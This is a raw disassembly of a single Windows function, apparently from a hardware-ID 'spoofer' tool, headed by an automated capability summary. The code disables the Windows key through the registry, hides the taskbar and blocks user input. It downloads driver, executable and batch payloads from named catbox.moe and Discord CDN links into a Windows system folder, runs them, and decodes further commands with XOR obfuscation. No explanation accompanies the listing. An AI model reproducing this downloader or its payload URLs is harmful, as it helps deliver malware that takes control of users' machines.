Function at 0x14000b3b0
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Find taskbar
Manipulate console buffer
Receive data
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x1400d3280]
xor rax, rsp
mov qword [rbp - 0x21], rax
mov r12d, ecx
xor ebx, ebx
call fcn.140008cd0
lea rcx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoWinKeys__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
lea rcx, [0x1400aabe0]
call qword [sym.imp.USER32.dll_FindWindowA]
mov r13, rax
xor edx, edx
lea rcx, str.Shell_SecondaryTrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
mov qword [rbp - 0x59], rax
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov edi, 2
mov dword [rsp + 0x30], 0x10000
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
mov r15d, 0xa
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov esi, 7
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, si
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x14000b530
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b52b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b52b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a49e0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rsi, str.C:WindowsINFBITS_amifldrv64.sys
mov r8, rsi
lea rdx, str.https:__files.catbox.moe_6nbaxw.sys
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], Ordinal_41
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov edx, eax
mov esi, 4
mov r14d, 0x1ff
mov r8d, 0x16d
test eax, eax
jne 0x14000b5f7
mov ecx, dword [rbp - 0x41]
test cl, 1
mov eax, r14d
cmovne eax, r8d
mov dword [rsp + 0x34], eax
mov eax, ecx
shr eax, 0xa
test al, 1
je 0x14000b5ec
mov eax, dword [rbp - 0x3d]
cmp eax, 0xa000000c
jne 0x14000b5e0
mov ecx, esi
jmp 0x14000b61a
cmp eax, 0xa0000003
jne 0x14000b5ec
mov ecx, r15d
jmp 0x14000b61a
shr ecx, 4
and ecx, 1
or ecx, 2
jmp 0x14000b61a
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000b615
sub eax, 1
je 0x14000b615
sub eax, 0x32
je 0x14000b615
cmp eax, 0x46
mov ecx, ebx
jne 0x14000b61a
mov ecx, 1
mov dword [rsp + 0x30], edx
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test ecx, ecx
je 0x14000b724
cmp ecx, 1
sete r15b
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test r15b, r15b
je 0x14000b67f
lea rdx, str.Spoofing_Failed__0x233_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov edi, 3
lea rdx, [rbp - 0x51]
mov ecx, 2
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r15, str.C:WindowsINFBITS_azeroxd.EXE
mov r8, r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1241746611504152636_1256955978780250223_azeroxd.EXE_ex6682a6fais6681557ahmc33bc82690c2dfa7f5b987b0dea71258c840d3c7caf6c51794d5e6c51cd30688
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], Ordinal_33
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov r8d, eax
test eax, eax
jne 0x14000b74d
mov edx, dword [rbp - 0x41]
test dl, 1
mov ecx, r14d
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x34], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000b742
mov eax, dword [rbp - 0x3d]
cmp eax, 0xa000000c
jne 0x14000b734
mov edx, esi
jmp 0x14000b770
mov r15b, 1
test edx, edx
jne 0x14001158c
jmp 0x14000b644
cmp eax, 0xa0000003
jne 0x14000b742
mov edx, 0xa
jmp 0x14000b770
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000b770
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000b76b
sub eax, 1
je 0x14000b76b
sub eax, 0x32
je 0x14000b76b
cmp eax, 0x46
mov edx, ebx
jne 0x14000b770
mov edx, 1
mov dword [rsp + 0x30], r8d
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test edx, edx
je 0x14000b875
cmp edx, 1
sete r15b
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test r15b, r15b
je 0x14000b7d0
lea rdx, str.Spoofing_Failed__0x234_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r15, str.C:WindowsINFBITS_amigendrv64.sys
mov r8, r15
lea rdx, str.https:__files.catbox.moe_ds7b9a.sys
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_35
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov r8d, eax
test eax, eax
jne 0x14000b89f
mov edx, dword [rbp - 0x41]
test dl, 1
mov ecx, r14d
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x34], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000b894
mov eax, dword [rbp - 0x3d]
cmp eax, 0xa000000c
jne 0x14000b886
mov edx, esi
jmp 0x14000b8c2
mov r15b, 1
test r8d, r8d
jne 0x1400115a3
jmp 0x14000b79b
cmp eax, 0xa0000003
jne 0x14000b894
mov edx, 0xa
jmp 0x14000b8c2
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000b8c2
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000b8bd
sub eax, 1
je 0x14000b8bd
sub eax, 0x32
je 0x14000b8bd
cmp eax, 0x46
mov edx, ebx
jne 0x14000b8c2
mov edx, 1
mov dword [rsp + 0x30], r8d
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test edx, edx
je 0x14000b9c7
cmp edx, 1
sete r15b
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test r15b, r15b
je 0x14000b922
lea rdx, str.Spoofing_Failed__0x235_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r15, str.C:WindowsINFBITS_all_moth.bat
mov r8, r15
lea rdx, str.https:__files.catbox.moe_mlik8i.bat
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_32
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov r8d, eax
test eax, eax
jne 0x14000b9f1
mov edx, dword [rbp - 0x41]
test dl, 1
mov ecx, r14d
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x34], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000b9e6
mov eax, dword [rbp - 0x3d]
cmp eax, 0xa000000c
jne 0x14000b9d8
mov edx, esi
jmp 0x14000ba14
mov r15b, 1
test r8d, r8d
jne 0x1400115ba
jmp 0x14000b8ed
cmp eax, 0xa0000003
jne 0x14000b9e6
mov edx, 0xa
jmp 0x14000ba14
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000ba14
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000ba0f
sub eax, 1
je 0x14000ba0f
sub eax, 0x32
je 0x14000ba0f
cmp eax, 0x46
mov edx, ebx
jne 0x14000ba14
mov edx, 1
mov dword [rsp + 0x30], r8d
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test edx, edx
je 0x14000bb19
cmp edx, 1
sete r15b
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test r15b, r15b
je 0x14000ba74
lea rdx, str.Spoofing_Failed__0x236_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r15, str.C:WindowsINFBITSVolumeid.exe
mov r8, r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1241746611504152636_1256955979082498098_Volumeid.exe_ex6682a6fais6681557ahm32a058d8722fecd2a8328ac150438e03f2a581cb2a88f7b47b256e2592281523
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_32
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov r8d, eax
test eax, eax
jne 0x14000bb43
mov edx, dword [rbp - 0x41]
test dl, 1
mov ecx, r14d
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x34], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000bb38
mov eax, dword [rbp - 0x3d]
cmp eax, 0xa000000c
jne 0x14000bb2a
mov edx, esi
jmp 0x14000bb66
mov r15b, 1
test r8d, r8d
jne 0x1400115d1
jmp 0x14000ba3f
cmp eax, 0xa0000003
jne 0x14000bb38
mov edx, 0xa
jmp 0x14000bb66
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000bb66
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000bb61
sub eax, 1
je 0x14000bb61
sub eax, 0x32
je 0x14000bb61
cmp eax, 0x46
mov edx, ebx
jne 0x14000bb66
mov edx, 1
mov dword [rsp + 0x30], r8d
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test edx, edx
je 0x14000bc78
cmp edx, 1
sete r15b
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test r15b, r15b
je 0x14000bbc6
lea rdx, str.Spoofing_Failed__0x237_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r15, str.C:WindowsINFBITS_ssd.bat
mov r8, r15
lea rdx, str.https:__files.catbox.moe_v96xyj.bat
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_27
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
lea rcx, [rsp + 0x40]
cmp qword [rbp - 0x71], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x51]
call fcn.1400a4498
mov edx, eax
test eax, eax
jne 0x14000bc96
mov eax, dword [rbp - 0x41]
test al, 1
mov ecx, 0x16d
cmovne r14d, ecx
mov dword [rsp + 0x34], r14d
mov ecx, eax
shr ecx, 0xa
test cl, 1
je 0x14000bc89
mov ecx, dword [rbp - 0x3d]
cmp ecx, 0xa000000c
je 0x14000bcb9
cmp ecx, 0xa0000003
jne 0x14000bc89
mov r15d, 0xa
mov esi, r15d
jmp 0x14000bcbf
mov r15b, 1
test r8d, r8d
jne 0x1400115e8
jmp 0x14000bb91
mov esi, eax
shr esi, 4
and esi, 1
or esi, 2
jmp 0x14000bcb9
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x14000bcb4
sub eax, 1
je 0x14000bcb4
sub eax, 0x32
je 0x14000bcb4
cmp eax, 0x46
mov esi, ebx
jne 0x14000bcb9
mov esi, 1
mov r15d, 0xa
mov dword [rsp + 0x30], edx
lea rax, [0x1400d3068]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test esi, esi
je 0x14000c22e
cmp esi, 1
sete sil
lea rcx, [rsp + 0x40]
call fcn.140005fa0
test sil, sil
je 0x14000bd1e
lea rdx, str.Spoofing_Failed__0x238_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
mov r14d, dword [reloc.WS2_32.dll_accept]
movdqa xmm7, xmmword [0x1400abd20]
movdqa xmm10, xmmword [0x1400abdc0]
movdqa xmm8, xmmword [0x1400abd10]
movdqa xmm6, xmmword [0x1400abe70]
movdqa xmm9, xmmword [0x1400abcf0]
cmp r12d, 1
jne 0x140010a55
lea rdx, str.cd_C:WindowsINFBITS_
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rdx, str.Spoofing_Progress...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
inc edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_Progress...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsINFBITS_all_moth.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov r12d, 7
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000bea5
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa740]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa750]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa760]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa764]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000bfe3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000bef0
cmp r8d, 0x26
jge 0x14000c023
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000bff0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000c041
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000c102
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa768]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa778]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aa788]
movsd qword [rbp - 0x31], xmm0
cmp r14d, 2
jl 0x14000c23e
mov edx, ebx
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14000c141
jmp 0x14000c283
mov sil, 1
test edx, edx
jne 0x1400115ff
jmp 0x14000bce9
lea r9, [rbp - 0x51]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14000c250
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c2a0
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000c367
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa790]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa7a0]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aa7b0]
movsd qword [rbp - 0x31], xmm0
movzx eax, byte [0x1400aa7b8]
mov byte [rbp - 0x29], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000c4a3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c3b0
cmp r8d, 0x29
jge 0x14000c4e3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
